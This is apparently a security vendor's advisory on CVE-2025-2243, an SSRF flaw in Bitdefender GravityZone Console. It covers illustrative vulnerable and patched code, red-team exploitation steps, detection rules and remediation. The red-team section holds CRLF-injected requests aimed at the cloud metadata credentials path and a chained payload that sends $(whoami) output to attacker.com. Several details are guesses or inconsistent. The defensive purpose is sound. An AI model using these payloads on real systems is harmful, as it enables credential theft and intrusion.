CVE-2025-2243

Executive Summary

CVE-2025-2243 is a Server-Side Request Forgery (SSRF) vulnerability in Bitdefender GravityZone Console. The flaw allows an attacker to bypass input validation logic by using leading characters in DNS requests. This SSRF can be chained with other potential vulnerabilities to achieve remote code execution (RCE) via third-party code injection. The vulnerability affects all versions of GravityZone Console prior to 6.41.2.1. No public proof-of-concept (PoC) or exploit code is currently available, and the CVSS score has not been officially assigned. The EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not yet assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: High (due to potential for RCE via chaining)

Deep Dive & Mechanics

The vulnerability resides in the input validation logic of the Bitdefender GravityZone Console. The console accepts DNS requests from authenticated users (or potentially unauthenticated, depending on configuration) to perform lookups or resolve hostnames. The validation logic fails to properly sanitize leading characters in DNS request strings. An attacker can craft a DNS request with special leading characters (e.g., \n, \r, \t, or URL-encoded characters) that bypass the validation checks. This allows the server to make requests to arbitrary internal or external resources, including cloud metadata endpoints, internal services, or other sensitive systems.

The SSRF can be used to:

• Scan internal networks.
• Access cloud metadata (e.g., AWS, Azure, GCP) to steal credentials.
• Interact with internal APIs or databases.
• Chain with other vulnerabilities (e.g., command injection, file inclusion) to achieve RCE.

The specific leading characters that bypass validation are not publicly disclosed, but typical SSRF bypass techniques include using 0.0.0.0, 127.0.0.1, [::], or DNS rebinding.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.41.2.1):

# Example vulnerable DNS request handler
def handle_dns_request(request):
    # Insecure validation - only checks for basic patterns
    if "http://" in request or "https://" in request:
        return "Invalid request"
    # No sanitization of leading characters
    response = requests.get(f"http://{request}")
    return response.text

Patched Code (6.41.2.1+):

# Example patched DNS request handler
import re
def handle_dns_request(request):
    # Strip leading/trailing whitespace and control characters
    sanitized = re.sub(r'^[\s\r\n\t]+|[\s\r\n\t]+$', '', request)
    # Validate against a whitelist of allowed domains
    allowed_domains = ["example.com", "trusted.internal"]
    if not any(sanitized.endswith(domain) for domain in allowed_domains):
        return "Invalid request"
    # Use a safe resolver that does not follow redirects
    response = requests.get(f"http://{sanitized}", allow_redirects=False)
    return response.text

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Bitdefender GravityZone Console (version < 6.41.2.1) in a controlled environment.
2. Set up a listener (e.g., nc -lvnp 4444) to capture outbound requests.
3. Use a tool like Burp Suite or custom Python script to send malicious DNS requests.

Exploitation Steps:

1. Identify the DNS request endpoint (e.g., /api/dns/lookup).
2. Craft a request with leading characters to bypass validation:

   POST /api/dns/lookup HTTP/1.1
   Host: gravityzone.local
   Content-Type: application/x-www-form-urlencoded
   
   host=%0d%0a169.254.169.254/latest/meta-data/iam/security-credentials/admin
   

3. Observe the server making a request to the AWS metadata endpoint and returning credentials.
4. Chain with a command injection vulnerability (if available) to execute arbitrary code:

   POST /api/dns/lookup HTTP/1.1
   Host: gravityzone.local
   Content-Type: application/x-www-form-urlencoded
   
   host=%0d%0aattacker.com/$(whoami)
   

Blue Team

Detection Steps:

1. Monitor DNS request logs for unusual patterns (e.g., requests to internal IPs, cloud metadata endpoints).
2. Look for requests with leading whitespace or control characters in the host field.
3. Alert on outbound connections from the GravityZone Console to unexpected destinations.
4. Use network segmentation to limit the console's ability to reach internal resources.

Hunting Queries:

• Search for DNS requests containing 169.254.169.254, 127.0.0.1, or 0.0.0.0.
• Look for HTTP requests with Host headers containing \r\n or %0d%0a.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to 169.254.169.254 (AWS metadata) or 169.254.169.254 (Azure/GCP equivalents).
  • DNS requests with leading whitespace or control characters.
  • HTTP requests to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• File IOCs:
  • Logs showing %0d%0a or \r\n in DNS request fields.
• Behavioral IOCs:
  • Unusual outbound traffic from the GravityZone Console to external IPs.
  • Unexpected access to cloud metadata endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_2243_SSRF_Bitdefender {
    meta:
        description = "Detects SSRF attempts against Bitdefender GravityZone Console"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2243"
    strings:
        $ssrf1 = /%0[dD]%0[aA]|\\r\\n/ nocase
        $ssrf2 = /169\.254\.169\.254/ nocase
        $ssrf3 = /127\.0\.0\.1/ nocase
        $ssrf4 = /0\.0\.0\.0/ nocase
    condition:
        any of ($ssrf*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-2243 SSRF Attempt Against Bitdefender GravityZone Console
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts using leading characters in DNS requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '%0d%0a'
            - '%0D%0A'
            - '\\r\\n'
            - '169.254.169.254'
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection
falsepositives:
    - Legitimate use of internal IPs in DNS requests (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2243 SSRF Attempt - Bitdefender GravityZone Console"; flow:to_server,established; content:"%0d%0a"; nocase; http_uri; content:"169.254.169.254"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bitdefender GravityZone Console to version 6.41.2.1 or later.
2. If upgrade is not possible, restrict outbound network access from the console to only trusted destinations.
3. Implement strict input validation for DNS request fields, stripping leading/trailing whitespace and control characters.

Long-term Measures:

1. Apply network segmentation to isolate the GravityZone Console from sensitive internal resources.
2. Enable logging and monitoring for all DNS requests and outbound connections.
3. Conduct regular security audits and penetration testing.

Workarounds:

• Use a web application firewall (WAF) to block requests containing %0d%0a or internal IPs.
• Disable the DNS request feature if not required.

Valters IT